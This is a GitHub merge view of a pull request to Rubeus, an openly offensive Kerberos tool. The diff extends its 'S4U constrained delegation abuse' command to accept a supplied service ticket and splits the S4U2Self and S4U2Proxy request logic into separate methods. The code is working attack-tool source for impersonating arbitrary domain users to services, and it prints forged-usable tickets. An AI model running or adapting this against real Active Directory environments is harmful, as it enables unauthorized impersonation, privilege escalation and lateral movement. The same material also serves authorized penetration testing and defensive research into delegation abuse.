Merge pull request #7 from eladshamir/master

Improved S4U Support
master
Will 2019-02-05 11:24:23 -08:00 committed by GitHub
commit 989c373b55
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 300 additions and 181 deletions

View File

@ -19,6 +19,7 @@ namespace Rubeus.Commands
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
KRB_CRED tgs = null;
if (arguments.ContainsKey("/user"))
{
@ -57,6 +58,11 @@ namespace Rubeus.Commands
}
if (arguments.ContainsKey("/impersonateuser"))
{
if (arguments.ContainsKey("/tgs"))
{
Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
return;
}
targetUser = arguments["/impersonateuser"];
}
@ -70,18 +76,42 @@ namespace Rubeus.Commands
altSname = arguments["/altservice"];
}
if (arguments.ContainsKey("/tgs"))
{
string kirbi64 = arguments["/tgs"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else
{
Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
return;
}
targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(targetUser))
if (String.IsNullOrEmpty(targetUser) && tgs == null)
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
if (String.IsNullOrEmpty(targetSPN) && tgs != null)
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n");
return;
}
@ -93,13 +123,13 @@ namespace Rubeus.Commands
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else
{
@ -119,7 +149,7 @@ namespace Rubeus.Commands
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs);
return;
}
else

View File

@ -35,8 +35,8 @@ namespace Rubeus.Domain
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");

View File

@ -1214,9 +1214,9 @@ namespace Rubeus
{
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray());
string domainName = cred.enc_part.ticket_info[0].prealm;
string sname = cred.enc_part.ticket_info[0].sname.name_string[0];
string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray());
string srealm = cred.enc_part.ticket_info[0].srealm;
string keyType = String.Format("{0}", (Interop.KERB_ETYPE)cred.enc_part.ticket_info[0].key.keytype);
string b64Key = Convert.ToBase64String(cred.enc_part.ticket_info[0].key.keyvalue);

View File

@ -7,7 +7,7 @@ namespace Rubeus
{
public class S4U
{
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController);
@ -26,23 +26,28 @@ namespace Rubeus
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs);
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
Console.WriteLine("[*] Action: S4U\r\n");
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
if (tgs != null && String.IsNullOrEmpty(targetSPN) == false)
{
Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
}
else
{
Ticket self = S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
if (String.IsNullOrEmpty(targetSPN) == false)
{
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, self);
}
}
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
@ -57,36 +62,15 @@ namespace Rubeus
}
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
@ -99,12 +83,13 @@ namespace Rubeus
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[1];
string serverName = parts[parts.Length-1];
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
foreach(string part in parts)
{
s4u2proxyReq.req_body.sname.name_string.Add(part);
}
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
@ -112,7 +97,7 @@ namespace Rubeus
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
@ -125,17 +110,17 @@ namespace Rubeus
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag2 = responseAsn2.TagValue;
int responseTag = responseAsn.TagValue;
if (responseTag2 == 13)
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn2);
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
@ -289,17 +274,6 @@ namespace Rubeus
}
}
}
else if (responseTag2 == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
@ -311,5 +285,120 @@ namespace Rubeus
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return null; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return null;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}\\{2}'", info.pname.name_string[0], info.srealm, info.sname.name_string[0]);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
Console.WriteLine("");
return rep.ticket;
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return null;
}
}
}